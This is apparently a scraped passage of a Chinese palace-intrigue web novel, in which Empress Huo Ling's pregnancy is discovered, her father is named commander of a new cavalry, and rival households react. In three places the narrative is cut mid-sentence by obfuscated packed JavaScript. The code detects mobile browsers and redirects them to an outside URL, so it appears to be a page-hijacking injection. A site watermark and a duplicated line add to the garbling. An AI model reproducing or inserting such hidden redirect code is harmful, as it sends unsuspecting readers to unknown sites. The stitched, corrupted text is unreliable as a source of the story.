不过她的胃口一向不错,这段时间吃得多,也只当是天气愈发冷了,或是新来的御厨做的饭菜更合她心意。 就为这个,霍翎还给新来的御厨赏了不少银两。 直到这天上午胡太医带着陈大夫一起过来给霍翎请平安脉。 当初霍翎将陈大夫安排进太医院以后就没怎么过问陈大夫的情况。 但消息灵通的人都知道陈大夫出身燕西,还是被崔弘益亲自送到太医院的,自然没有哪个不长眼的会和陈大夫为难。 陈大夫也不是嚣张跋扈的人,从来谨言慎行将精力都放到精进自己的医术上。 久而久之就入了胡太医这位太医院院正的眼,被胡太医收为弟子,带在身边。 当然现在称呼“陈大夫”已经不合适了。 现在应该称一声“小陈太医”。 霍翎看到故人,也很高兴:“胡太医给本宫请过许多次脉了不如这回就让小陈太医也来试试,如何?” 不是任何一个太医都有资格凑到皇后面前,给皇后请脉的。 霍翎不需要多关照小陈太医,只要表现出这么一点亲近态度小陈太医在太医院的日子就能安心顺遂许多。 结果小陈太医的手刚搭上霍翎的脉相脸上就浮现出了淡淡的讶异。 “娘娘脉相极好。” “要是娘娘不介意就等胡太医请完脉后再将结果告知娘娘。” 胡太医原本还有些迷糊手指摸到霍翎的脉相顿时就明白了。 “恭喜娘娘。” 霍翎一时间还真没反应过来。 左嬷嬷年长又见多识广立刻听出了言外之意 胡太医捻须轻笑 :“娘娘,您这是喜脉。看脉相,有一个多月了。” 霍翎愣在原地,下意识学着胡太医的动作,将右手两指搭到左手脉搏上。 感受着指尖下不断震颤的脉搏,霍翎还是有些失神。 她竟然有孩子了…… 身边伺候的人在震惊过后,也纷纷欢喜起来。 左嬷嬷将无墨拉到一边,小声问:“娘娘这个月的月事是不是推迟了?” 无墨道:“是迟了。” 左嬷嬷无奈:“你怎么也不跟我说一声。” 无墨用掌心拍打自己的额头,脸上满是懊恼:“我和娘娘说了以后,娘娘说可能是不小心冻着了,我就……我就没太放在心上……” 左嬷嬷顾不得指责无墨,惊道:“娘娘冻着了?” 无墨也立刻紧张上了:“前些天嶙梅阁的红梅开了,娘娘去赏了梅花,在外面待的时间长了点。” 左嬷嬷赶紧去找胡太医询问,无墨重新回到霍翎身边:“娘娘,您现在感觉怎么样?” 霍翎回神,如实道:“有种奇妙又意外的感觉。” 她没想过自己会有孩子。 从她决定进宫以后,她的每一步谋划,都是从手中已有的筹码出发。 她不会将希望和未来,寄托在一个虚无缥缈的孩子身上。 也有不少人私底下给她进献过生子秘方,想借此来讨好她,被她狠狠惩戒了一番后,这种情况才消停。 但这不代表她没有期待过这个孩子的到来。 ——在这后宫之中,一个与她血脉相连的孩子。 “陛下在哪儿?” 霍翎站起身来:“我要在去找陛下,和他说这个好消息。” 以往霍翎有什么事情要找景元帝,都是直接找过去,但这会儿她怀了身孕,外头风雪还那么大,左嬷嬷哪里敢让她出门啊。 崔弘益素来机灵,主动请缨:“娘娘,您就行行好,让奴才去,给奴才一个在陛下跟前讨赏的机会吧。” 霍翎忍不住笑了:“本宫若是拦着不让你去,岂不是做了恶人?” 她重新坐回去,摆摆手:“行了,你快去吧。” 太和殿里,景元帝正在翻看郦淮、安鸿羽和霍世鸣三人递进京的折子。 三 人在得知朝廷要组建骑兵后,纷纷上折,在折子里写了不少练兵的想法。 他们都是熟读兵书、领军多年之人,单看折子上的内容,分不出明显高低。 坦白来说,真要完全看资历和能力,最合适的人选就是安鸿羽。 但景元帝没有立刻定下人选,就说明他不只是考虑到了资历和能力,还有其它因素在左右他的决断。 景元帝放下折子,走到窗边,负手望着窗外无垠雪色。 突然,他眸光一凝,问身后的李满:“那个人是不是崔弘益?” 一道人影正在雪中疾行,朝着太和殿而来。 李满仔细瞧了几眼,肯定道:“是崔弘益。” 崔弘益来得极快,几句话的功夫,就到了太和殿门口。 景元帝已在殿内候着他了,还没来得及出声询问,崔弘益先一步狂喜道:“陛下,胡太医方才来给娘娘请脉,娘娘有身孕了。” 景元帝怔愣。 直到身边传来李满惊喜的道贺声,景元帝霍然起身。 “摆架去凤仪宫!快!” 这是景元帝期待了很久,久到他几乎已经不再期待的孩子。 当他走下御辇,站在宫殿门口时,竟有一瞬情怯。 这种突如其来的怯懦,让他立在原地,久久未动。 紧闭着的宫殿大门突然被人从里面打开。 炭火的热气与冰天雪地相撞,在冷热交叠之间,景元帝抬起眼眸,看到霍翎站在门内,面色红润,神情闲适,唇角还带着淡淡的笑意。 “陛下怎么还不进来?” 景元帝漂浮着的心瞬间就安定了下来。 他迈过门槛,就要揽她入怀。 刚触碰到她那被炭火烘得暖洋洋的袖口,想起自己从外面带进来的一身寒气,动作又是一顿。 “你怎么出来了,还穿得这么单薄,小心着凉。” 在景元帝走进来以后,半开的殿门就立刻被宫人关上了,霍翎压根没受什么风。 “臣妾想亲自去和陛下说这个好消息,他们都拦着不让。” 景元帝解下外面的大氅,这才伸手去牵霍翎:“他们做得对,外面下着这么大的雪,还是要小心些。” 两人坐下以后,景元帝问:“ 太医怎么说?” 霍翎道:“知道陛下肯定要亲自过问的胡太医和小陈太医还在偏殿候着。” 不等景元帝垂问两位太医就先一步竹筒倒豆子将霍翎的情况一一道来。 霍翎弓马娴熟进宫以后也从未疏于练习身体一向很好一整年下来连个头疼发热的小毛病都很少见。 她的怀相也很好怀孕这一个多月里该吃吃该睡睡没受什么苦头。 景元帝稍稍松了口气。 在纯然的惊喜退下去后 “开安胎药了吗?” “从今天起娘娘每五天……每三天请一次平安脉一定要仔细盯着不能让娘娘有任何闪失。” 吩咐完胡太医景元帝又看向左嬷嬷:“皇后这一胎月份尚浅宫里上上下下你多盯着些。她有孕的消息暂时不要外传。” “凤仪宫这个月所有人的月钱涨三倍好好伺候皇后等她平安诞下孩子朕重重有赏。” 安排好这些琐事景元帝挥退殿内众人这才得以和霍翎单独说话:“累不累要不要朕陪你去休息?” “臣妾才睡醒不久一点儿也不累。” 霍翎握住景元帝的手像是看穿了他镇定之下的惶恐不安出声宽慰道:“陛下您别担心。我身体好从小到大没生过几场病。” “有我这样的母亲这个孩子一定会平安健康地生下来顺遂无忧地长大。” 景元帝闭了闭眼喉中微涩。 “您还没摸过这个孩子吧。”霍翎将他的手放到自己的肚子上“您感受到了吗?” 景元帝说:“感受到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268733|123828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 霍翎嗔道:“我这个做母亲的都没感受到。” 景元帝笑了一下又与霍翎说起后宫之事:“朕从内务府那边再调几个有经验的嬷嬷来照顾你的饮食起居。” “年底宫中要举办年宴你今年不好操劳就让德妃帮你盯着吧。” “至于其它事情……”景元帝含糊了一下“你也别操心只管好好养胎过了头三个月再说。” 霍翎心下微微一动其它事情? 如今前朝和后宫中比较值得关注的事情,就是骑兵主将的人选一事。 不过最终霍翎还是没有开口询问。 正如她爹的那封信一样。 骑兵主将的位置,是她早就打算为她爹争取的。但当她爹在信中主动求取,向她陈以利弊时,她心中依旧感到了不快。 有些东西,主动开口要了,就会落入下乘。 不是不可以从利益出发思考问题。 但身为父女,身为夫妻,应该想办法用情感来表达需求,而非只谈论冷冰冰的利益。 霍翎忍不住想,这个孩子,来得太是时候了。 *** 吏部的那份名单,是在腊月之前交上去的。 胡太医诊出喜脉,也是在腊月之前。 霍翎在凤仪宫经营了这么长时间,又有景元帝亲自出手压下消息,她怀孕的风声一点儿也没传到外面去。 朝臣左等右等,都没等到景元帝公布骑兵主将的人选,开始陆续上书举荐郦淮和安鸿羽。 景元帝将所有折子留中不发,一心拖延着时间。 这一拖延,就拖延到霍翎这一胎将满三个月,拖延到今年最后一次大朝会即将召开,景元帝才将消息放了出去。 后宫震惊。 前朝震惊。 原本觉得胜券在握的柳国公,在听到这个消息后,胸口气血翻涌,喉头一腥,侧头吐出一口血来。 “祖父! 孙子柳诚大惊失色,赶紧过来扶住柳国公。 二儿子柳通也慌了:“爹,我这就去请太医。 柳国公神情灰败,气息局促,一听这话,却猛地扣住柳通的手,几乎用尽了全身气力,才挤出接下来的话语。 “去请大夫。避着人将大夫请进府里,不要声张。皇后有孕,实乃国朝之大喜事,你现在进宫为我请太医,岂不是让人觉得…… 柳国公惨然一笑:“我们柳国公府对中宫有孕一事,心存怨怼? 柳通的手被捏得生疼,听到这话,脸色更白了几分:“是、是,我这就去请大夫。 等柳通离开后,柳诚将柳国公扶回椅子上,担忧地看着柳国公:“祖父,您没事吧。 “茶。 柳国公闭 上眼睛,几乎没有力气说话了,但在这个节骨眼上,他不能倒下。 “难怪陛下要压着所有人的折子,迟迟没有定下骑兵主将的人选。 柳诚将茶水端过来时,恰好听到柳国公这句呢喃,终于知道柳国公的反应为什么会这么大了。 宫里应该早就知道皇后怀孕的事情了,只是之前还不到三个月,才没往外声张。 如今眼看着实在拖延不下去了,皇后这一胎也坐稳了,才将风声放出来。 还是在今年最后一场大朝会的前一天放出来。 事情做到这个份上,陛下更属意谁去统领这支骑兵,还需要猜想吗。 “我们谋划了那么久,却还是人算不如天算。 柳诚唇角发苦:“骑兵统领之位,肯定要落在霍世鸣头上了。 柳国公就着柳诚的手,喝了两口水,才感觉自己恢复了一点力气:“现在骑兵统领是谁,已经无关紧要了。 柳诚一愣。 柳国公叹息:“你再把目光放得长远一些,皇后有孕,对我们影响最大的是什么事情? 柳诚面色巨变:“渊晚那孩子…… 柳国公闭上眼睛:“你别在这里守着我,我没什么大碍了。你快去端王府找王妃,好好劝一劝她吧。 作者有话要说 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第 74 章 “如果现在坐在皇... 第74章“如果现在坐在皇 事实证明,柳国公还是多虑了。 等柳诚怀揣忧虑,匆忙赶去端王府,生怕这位素来高傲到眼里容不得一丝沙子的堂姐,做出什么不理智的事情时—— 端王妃正独自坐在院中发愣。 婢女仆从都被她打发得远远的。 端王妃身边的嬷嬷怕她出事,连忙去找了端王。 端王这会儿也是刚知道霍翎有孕的消息。 他靠坐在椅子上,万般滋味涌上心头。 听到嬷嬷的话,他不敢耽搁,收拾了下自己的心情,就匆匆回了正院。 看到安静坐在凉亭里面,没有什么过激反应的端王妃时,端王松了口气:“王妃,外面风大,不如……” 端王妃突然出声,打断端王的话:“她叫霍翎,是吗?” 端王一怔:“……是。” 端王妃没有回头,背对端王,姿态优雅到无可挑剔:“我一直很好奇一个问题,不知道你有没有想过。” “亲王侧妃与天子皇后,这两个身份要如何选,并不困难。” 类似的言语,霍翎也曾经对端王说过,如今又一次听到,竟然是从端王妃这里听到的。 这让端王面色微变。 端王妃似乎完全没有体会到端王的心情,她一点点剖析着自己的想法。 “以她的姿容,陛下要纳她为妃,不足为奇。但直接许诺皇后之位,入宫之后盛宠至今……她在入京之后进宫之前,定然早与陛下有了私情。” 端王沉默不语。 端王妃继续道:“你心里,是不是一直都认为,是陛下强迫了她?” “还是说,你心里都明白,只是你宁愿认为是陛下强迫了她,宁愿认为她是个水性杨花的女人,也不愿承认自己不如陛下。” 被自己的结发妻子毫不留情地贬低着,端王心头涌起一阵难堪,面上也带出了几分狼狈。 他终于沉默不下去了:“你到底想说什么?” 端王妃冷笑一声:“殿下,时至今日,你都没有看清你那位旧情人的真面目吗?” “在燕西之时,她选择了你,是因为你在燕西的身份最高。” “等回 到京师之后她看不上你是因为她找到了天底下最有权势的男人。” 端王妃缓缓回头。 冬日阳光疏懒淡薄的微光落在端王妃的脸上映出一片泪痕。 但她的语气里没有一丝哽咽。 “你承认吧如果今日坐在皇位上的人是你她根本不会弃你如敝履。” 端王面色大变低喝道:“你疯了连这种话都说得出口。” 他下意识朝左右张望确定院中没有其他人这才稍稍松了口气。 端王妃闭上了嘴没有再说什么。 端王以手扶额不想再聊这个话题:“你我应该关心的是皇后怀孕以后渊晚该怎么办?” “他在宫中的处境原就尴尬现在只会更尴尬。” “至于我与皇后早已是过去。” 端王妃再次发出一声冷笑。 端王只当没听见:“皇后肚子里的孩子谁也不知道是男是女。如果是女孩一切都好说。” 端王妃声音苦涩:“怀胎十月她如今最多怀孕三个月。你这话的意思是打算苦苦煎熬七个月吗?” 冥冥中好像有一把铡刀贴在了端王妃的脖颈上。 她已经感受到刀锋的森冷杀意但铡刀将落未落。 这种生死之间的滋味她还要品尝整整七个月。一想到这儿端王妃不寒而栗。 端王走到端王妃身边双手搭在端王妃的肩膀上即使周围没有旁人他的嘴唇也几乎贴在端王妃耳畔将声音压得极轻极轻。 “这是陛下和皇后心心念念才得来的孩子你要是对这个孩子出手有想过后果吗?” “就算这个孩子真是男孩……” “陛下以前也不是没有过儿子。别忘了渊晚是因为什么事情才被养在皇宫里的。” 端王妃唇角轻颤:“那渊晚那里……” 端王道:“我也心疼渊晚那孩子。但是渊晚到底是被留在宫里还是被送回王府都得看宫里的意思。” 端王妃低下了头心里恨极了这种只能等待的滋味。 曾经的端王府和柳国公府在面对霍翎时地位超然。 可如今猎人和猎物的地位早已颠倒。 中宫皇后高 高在上,不能雷霆万钧地击溃他们,就用这种钝刀子一点点磨死他们。 是的,只要不出手,就不会犯错,就不会给端王府和柳国公府招来倾覆之祸。但长此以往,端王府和柳国公府的势力被不断削弱,他们在面对霍翎时,还有反击的力量吗? 何泰,就是前车之鉴。 *** 对于中宫有孕一事,众人有惊,有喜,有意外。 但无论众人作何反应,次日的大朝会上,景元帝带着笑意出现在大殿之中。 拖延了一个多月,景元帝终于宣布了这支新骑兵的名字:燕羽军。 而统领燕羽军的人—— 承恩公霍世鸣。 朝臣沉默。 无人出列反对。 景元帝很满意众人的反应,接着宣布道:“皇后有孕,朕要大赦天下,为皇后和皇嗣祈福。 如果说昨天只是宫里放出了风声,那今天就是景元帝正式通告前朝。 这种大喜事,自然要满朝庆贺。 下朝以后,许多臣子匆匆返回衙门,拿出空白折子就开始写贺表,用最花团锦簇的言语,上书恭贺帝后,表示了他们对皇后肚子里的孩子的赞美和期待。 当然,一些反应比较快的臣子,早就连夜写好了贺表,等到大朝会一结束,立刻递了上去。 景元帝带着这些贺表去了凤仪宫。 凤仪宫里,霍翎倚在榻上和无墨聊天,其他宫人都退到殿外守着。 霍翎穿着宽松舒适的衣裙,长发用簪子拢起,随意散在耳后,浑身上下透着慵懒与闲适。 她也确实闲适。 这一个多月来,前朝和后宫都没什么需要她操心的事情。她除了养胎外,就是看书练字下棋。 霍翎问无墨:“你跟他确定过了吗? 无墨道:“确定过了。 “小陈太医说,到六个月的时候,他就可以确定孩子的性别。 霍翎点了点头,没再说什么,将手放到自己还未显怀的肚子上。 满朝上下,有无数双眼睛在盯着这个孩子,等待着这个孩子的降生。如果这个孩子生在寻常人家,她希望这是个女儿,但生在帝王家,面对的又是如此处境…… 正想着这些乱七八糟的事情 ,殿外传来行礼的声音,而后,景元帝绕过屏风,走了进来。 无墨机灵道:“奴婢去给陛下和娘娘斟茶。” 景元帝坐到霍翎身边,与她说起今日大朝会上的事情。 霍翎眉梢一挑:“燕羽军?” 景元帝道:“这支骑兵是你提议组建的,以羽字来命名,也算合适。” 霍翎道:“陛下怎么也不提前跟我打声招呼,这不是让朝臣笑话您吗。” 景元帝捏了捏霍翎的手:“谁敢笑话朕。” 霍翎沉默了下,突然道:“谢谢陛下。” 景元帝轻叹:“说什么傻话。” “我与陛下之间,自然无需说谢。我要谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“娘娘说,你是为国朝立过功的臣子,总不能眼睁睁看着你在大过年冻死吧。” 正经不过一瞬,丁景焕嬉笑:“这话听着也忒不吉利了。” 无锋翻了个白眼,气得一脚朝丁景焕踹去:“你小子别想偷懒,没看到我一直在干活吗,你就在旁边干杵着?” 丁景焕连忙往旁边一避,和无锋一起,将东西搬下马车,搬进房子里。 他站在门边,看着被堆得满满当当的厅堂:“皇后娘娘这敬酒,是越来越丰厚了。” 无锋哈哈一笑:“你不是喜欢喝酒吗,这敬酒丰厚了,难道不合你心意吗。” 丁景焕耸肩:“敬酒越丰厚,罚酒也越丰厚啊。” 无锋拍拍他的肩膀:“娘娘脾气很好的。” 丁景焕眉梢高抬,就他听到的各种关于霍皇后的事迹,可以夸她手腕了得,可以夸她智谋出众,“洛神在世”这种赞颂她风姿的话语也依旧在民间流传着,但脾气好不好,这个就比较值得商榷了。 “——只要你别惹怒了娘娘。”无锋默默补完后半句话。 丁景焕两只手重新抄回袖子里,暗叹一声:这是阳谋啊。 这确实是个阳谋。丁景焕所料不差,在霍翎怀孕的消息传出去后,短短几天时间里,就有很多人来向她示好。 丁景焕这个五品官员混在里面,实在有些不够份量。 但也正因如此,霍翎才特意让无锋送去一车年礼。 这个时候上门送东西,所取得的效果,远比其它时候都要好。 作者有话要说 第 75 章 “太阳入怀,衔山... 第75章“太阳入怀,衔山. 如今霍翎的平安脉都由胡太医和小陈太医来负责,两人每隔三天就给霍翎请一次平安脉。所有的脉案,景元帝都会亲自过目。 他曾经的几个孩子,大都不满三岁就夭折了。 生产对女子来说,更是一道鬼门关,霍翎的生母就是在生她时难产身亡。 有过这样惨痛的前车之鉴,景元帝不仅下旨大赦天下,还让大相国寺的高僧给霍翎念经祈福,甚至趁着过年张灯结彩的时候,往凤仪宫里添置了不少兆头极好的风水摆件。 霍翎看得既无奈又好笑。 说实话,原本霍翎对于自己怀孕这件事情,是没有太大感觉的。除了胃口更好,睡眠更足,她孕初期的反应并不强烈。 但上到景元帝,下到凤仪宫的每个宫人,在面对她时都忽然变得小心翼翼,再加上偶尔的孕吐,才让霍翎真正意识到,她肚子里正在孕育一个崭新的生命。 不过私底下,霍翎还是劝了劝景元帝:“您在处理朝政时,从来都是气定神闲。怎么在这件事情上,就变得患得患失了呢。” “朕是不是影响到你的心情了?” 景元帝也知道自己闹出来的动静太大,还反过来宽慰霍翎:“你别紧张,一切有朕和太医在。” 霍翎笑着抚了抚自己的肚子:“这个孩子出生后,一定会被陛下惯得不行。” 景元帝将自己的掌心覆在霍翎的手背上:“这是朕与你期待已久的孩子,朕当然会好好疼爱。” 霍翎看着景元帝,突然问:“如果臣妾肚子里的,是个公主呢。” 景元帝不想给霍翎太大压力,所以一直没和霍翎谈过孩子的性别问题,但听她问起,也没有回避。 “阿翎,朕不瞒你,朕更希望你肚子里的是个皇子。这样一来,他不仅会是朕唯一的儿子,还是中宫嫡子。” “只要他平安诞生,顺利长大,他就是大燕的储君,未来的帝王。没有任何人可以动摇他的地位。” “如果可以的话,朕当然更希望自己的亲生孩子继承皇位。对你来说,一个血脉相连的孩子,也远比过继过来,有自己亲生父母的宗室子要可靠。” 顿了顿,景元帝道:“ 但如果是个公主也没关系。我们能拥有这个孩子已经是上天厚赐。” 霍翎靠在景元帝怀里温声道:“臣妾明白陛下的心情。” 在太医诊出她有孕之前其实她从来没想过自己会有一个孩子。 但在得知她怀孕以后她脑海里闪过的第一个念头是:这个孩子来得太是时候了。 而第二个念头是:她希望这是一个男孩。 那一刻她没有去考虑其它东西只从纯粹的利益去考量。 如果她有一个儿子她在景元帝心中的地位就将无可动摇;那些左右摇摆不肯站队到她身后的朝臣会开始支持她倒向她;她不需要再将敌人的儿子养在皇宫里也不需要将季三郎或者其他与她并无关系的孩子养在皇宫里;她不用再担心所谓的日后。 就像燕羽军主将的位置单靠她自己很难帮她爹争取到。可是当她确诊怀孕后景元帝就为她铺好了路。 ——这个生在帝王之家的孩子从还在娘胎时起 甚至可以说在她借助这个孩子谋得燕羽军主将的位置时这个尚不知事的孩子就成为了她手中最好用的筹码。 “等到这个孩子出生无论是皇子还是公主我们都将渊晚那孩子送回端王府你看如何?”景元帝突然道。 “等到这个孩子出生无论是皇子还是公主我们都将渊晚那孩子送回端王府你看如何?”景元帝突然道。 霍翎轻应了声好。 季渊晚留在皇宫里一举一动都在她的掌控之中。她没怀上孩子之前都没太将季渊晚放在心上如今自然也不会急吼吼赶季渊晚出宫。 *** 燕西常乐县。 自从收到霍翎寄来的那封书信后霍世鸣就处于一种紧张又亢奋的状态。他连夜给霍翎写了一封回信又花了许多功夫写了一封有关练兵的折子呈给景元帝之后就一直在等着京师那边的消息。 可左等右等眼看着除夕都要到了京师居然还是没有一点儿消息。 按理来说不管是谁成为骑兵主将京师都会有消息传过来的。 到现在还没有收到风声只能是因为主将人选迟迟没有定下。 念及此,霍世鸣愈发忐忑。 这一等,就足足等到了腊月二十九。 常乐县里,家家户户张灯结彩,满是过年的热闹喜庆。 在这种辞旧迎新的氛围里,几道快马踏破冰面,历经长途奔波,直入县城。 霍世鸣跪在冰冷刺骨的地面上听旨。 当听到“任命承恩公霍世鸣为燕羽军主将”时,霍世鸣心头一片滚烫。 这可是大燕唯二的骑兵啊。 也不知道阿翎是怎么做到的,居然真的帮他争取到了这个位置。 接过圣旨后,霍世鸣请内侍坐下喝茶,想跟内侍打听一下霍翎在京中的情况。 内侍从怀里掏出一封信件:“承恩公,娘娘说了,您若是问起她的近况,就让奴才将这封信交给您。您看完信件后,就什么都明白了。” 在信件里,霍翎详细说了骑兵主将一事的始末,最后才告知了自己怀孕一事。 霍世鸣看到最后,简直惊喜万分:“娘娘有身孕了?” 在一旁等消息的霍泽惊叫道:“什么!阿姐怀孕了!” 方氏也为继女高兴:“阿弥陀佛,真是老天保佑。” 霍世鸣哈哈一笑,终于知道燕羽军主将的位置为什么会落到他头上了。 那位宣旨的内侍早已离开,霍世鸣实在按捺不住自己激动的心情,从太师椅上站起身来,在厅堂里来回踱步,激动得直搓双手:“要是阿翎能一举生下一位小皇子,那就太好了。” 这个好消息带给霍世鸣的冲击,不亚于他成为燕羽军主将。 甚至可以说,只要阿翎能平安诞下一位皇子,区区燕羽军主将之位,都算不了什么! 方氏拉住他:“孩子几个月了?” 霍世鸣道:“有三个月了,不然也不能随便往外说。” 方氏笑道:“哎呦,那就是九月底十月初怀上的,可惜我们之前不知道。不然在给阿翎准备年礼时,我肯定要准备一些孩子能用上的东西。” 霍世鸣听得连连点头:“虽然宫里肯定什么都不缺,但这也是我们做外祖父、外祖母的一番心意。赶不上过年前送,就等过完年,再派人多跑一趟。” “信上说了,预产期在七月,还早着呢。” 方氏在高 兴过后,又忍不住纠结起另一件事情。 不过一两个时辰的功夫,霍世鸣成为燕羽军主将和中宫有孕的消息就传遍了常乐县。 军营里,留守军中的周嘉慕叹了口气,心中既有对霍世鸣的羡慕,又有对端王一系的忧虑。 末了,周嘉慕苦笑一声:与其担心端王,他不如先来担心担心自己的前程吧。 有霍世鸣这样一位背景深厚的下属,对哪位上官来说,都不是一件好事。 方建白和孙裕成也立刻放下手头的事情,赶去霍府向霍世鸣道贺。 霍世鸣穿着过年新裁的衣服,大马金刀坐在厅堂里,脸上写满了准备大干一场的意气风发。 “你们来得正好。” “我已经收到了骑兵的章程,打算这几天好好通读一番,趁着过年期间将一些能筹备的东西都先筹备起来。” “等到出了年,天气稍暖和一些,就开始从军中选拔士卒,再从燕西各县招募新的兵源。” “陛下任命我为燕羽军主将,我决不能辜负陛下和娘娘的厚望,一定要尽快操练出一支像样的骑兵来。” 孙裕成听得心头亢奋,凑到霍世鸣面前就开始询问相关细节。 方建白看他们在聊正事,却没有去凑热闹,先去了趟后院拜见了方氏。 “姑母,我听说阿翎怀孕了,她给你们寄的信里还有没有说别的?” 方氏正忧愁着呢,一看方建白过来问这个,立刻板起了脸:“信上说了,害喜不严重,能吃能睡,一切都好。” 小说的域名qiexs.com㈠(请来企鹅 小说 看最新章节 完整章节) 方建白笑道:“那就行。” 方氏看他这个反应,突然气不打一处来,狠狠拧了方建白胳膊一下:“建白,你还记得阿翎进京前,你和我说过的那番话吗?” “你说你需要一些时间放下阿翎,好,姑母不逼你,在你爹娘逼你的时候,还帮你把你爹娘都挡了回去。就为这个,你娘私底下没少埋怨我。” “如今阿翎不仅贵为皇后,还怀了身孕,你也总该放下了吧。” 方建白面上喜色一滞,下一刻,他温声道:“姑母,我知道你是为我好,你容我再想想。我娘那里,也让你受委屈了,下次回家我会好好和她说的。” 方氏如今是再信不得他这话了。 过去两三年 里方建白在霍世鸣麾下表现出色。如今才二十二岁就已经领三营一千五百人。 燕西这边有不少官家妇人都来跟方氏打听过方建白的婚事。其中有几个姑娘的条件很是不错但方氏都忍痛婉拒了就是希望能再给方建白一些时间。 可看方建白哪里有半点儿放下重新开始的样子? 方家可就这么一个独苗苗总不能一直不成婚吧! 与此同时 早在一年半以前去行宫狩猎的路上许时渡就跟霍翎说了宁信长公主在给她物色夫婿的事情。 一直到了最近这段时间许时渡的婚事才算是彻底敲定下来。 霍翎十分好奇:“是哪家郎君竟能同时入了你和宁信的法眼。” 宁信长公主挑人的眼光十分苛刻许时渡就更不用说了。 她压根不在乎对方的家世地位这些都有宁信长公主为她把关。 她所要纠结的就是对方能不能合了她的眼缘。 许时渡表现得落落大方:“是陆杭陆尚书的嫡长孙名叫陆淮之前一直在老家那边念书今年才来了京师如今正在翰林院里任职。” 霍翎笑道:“我虽然没见过陆淮但只看陆尚书和德妃的品貌性情就知道陆淮与你定是极相配的。” 许时渡抱着霍翎的胳膊:“那就借你吉言啦。” 霍翎道:“等过了年让陛下下旨给你们赐婚也更体面。” 许时渡用面颊蹭着霍翎的肩膀肉麻兮兮道:“就知道舅母最疼我了。” 霍翎好悬没在喝茶不然肯定要被呛到:“孩子就够闹我了你别跟着胡闹。” 许时渡的注意力立刻被转移:“这几天孕吐很厉害吗?” 霍翎顺手拿起一颗蜜饯放进嘴里:“比前段时间严重些不过也还好不影响吃饭睡觉。” 许时渡:“那你这段时间都待在凤仪宫里养胎?” 霍翎点头:“这个天气道路湿滑我在院子里转悠个几圈都把宫人紧张得大气不敢出一下更别说往远一点的地方走了。” 许时渡却很支持宫人的做法:“是得注意着点。你想活动的话就在殿内转悠或是投投壶射射箭等天 气暖和些了再让皇帝舅舅陪你去西郊别院住一段时间。” “你要是实在无聊我多进宫陪你聊天。” 霍翎笑着谢过许时渡的好意。 许时渡一直待到景元帝过来这才起身离开。 景元帝看霍翎面带笑意不由问道:“你们都聊了些什么这么高兴?” “聊了嘉乐的婚事。” “嘉乐的婚事终于要定下来了?”景元帝也不免心生好奇“是哪家儿郎。” 听说是陆淮景元帝点评:“样貌确实不错难怪嘉乐肯松口。” 霍翎道:“我和嘉乐说了等过完年就让陛下下旨赐婚。” 景元帝一口应下陪着霍翎用了午膳睡了午觉等到下午才和霍翎一起去书房写春符。 年节之时皇后给命妇赏赐春符就和皇帝给朝臣赏赐春符一样逐渐形成了一种惯例。 这几年里霍翎一直没有停过临摹名家字画再加上景元帝时不时的指点她的字愈发潇洒灵动既保留了颜体的优点又多出几分自己的风格。 景元帝站在一旁欣赏了许久目露赞许之色:“比当年在入城献俘图上落笔时 霍翎放好手中的毛笔坦然收下景元帝的夸奖:“这叫名师出高徒。” “臣妾不仅在书法上颇有进益在下棋上也颇有心得。陛下何时想下棋了就随臣妾下一局。” 霍翎的棋艺确实如她所言大有长进在与景元帝的对弈中僵持了许久才最终落败。 景元帝道:“这段时间的棋谱确实没白看。” 要放在三个月以前霍翎根本不可能坚持这么久才落败。 霍翎用指腹摩挲着黑子边缘也不气馁比起最开始被景元帝杀得片甲不留如今她已经能有来有回跟景元帝对照厮杀了。 霍翎一边挑拣着棋子将它们放回棋盒一边与景元帝聊起明日的除夕宴以及接下来的几场祭祀。 无论是除夕宴还是祭祀祈福霍翎身为皇后都是要出席的。 景元帝特意叮嘱了一句:“明日在宴会上不要碰那里的酒水和糕点若是实在渴了与朕说一声。” 霍翎道:“陛下是怕有人在酒水和糕点里动手脚吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340326|123828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 景元帝道:“有朕的人盯着,东西很难被人动手脚,但小心一些总是好的。 两人聊到除夕宴,德妃也正好因为宴会的事情过来找霍翎:“娘娘,这是今年出席宫宴的人员名单。 霍翎接过名单扫了几眼,看到几个递了条子请假的人:“承恩公因何故缺席? 这位承恩公,指的当然是何皇后的亲生父亲。 在霍翎进宫以后,京师的承恩公府就显得失意落寞了。霍翎已经许久没听说过这家人的消息。 德妃道:“承恩公府的人说是受了风寒,病得实在起不来,也怕过了病气给陛下和娘娘。 霍翎淡淡道:“在这个节骨眼上病倒,确实不宜强撑病体进宫。 以这位承恩公的身份和地位,宫里听说他生病,原是该赐下一些药材的。 但看霍翎和景元帝都没有这个表示,德妃当然也不会出声讨嫌。 霍翎与承恩公府颇有过节。 景元帝呢,原就因为承恩公几次三番上折,反对霍翎为后,削减立后大典的用度等事情,对承恩公心有不满。 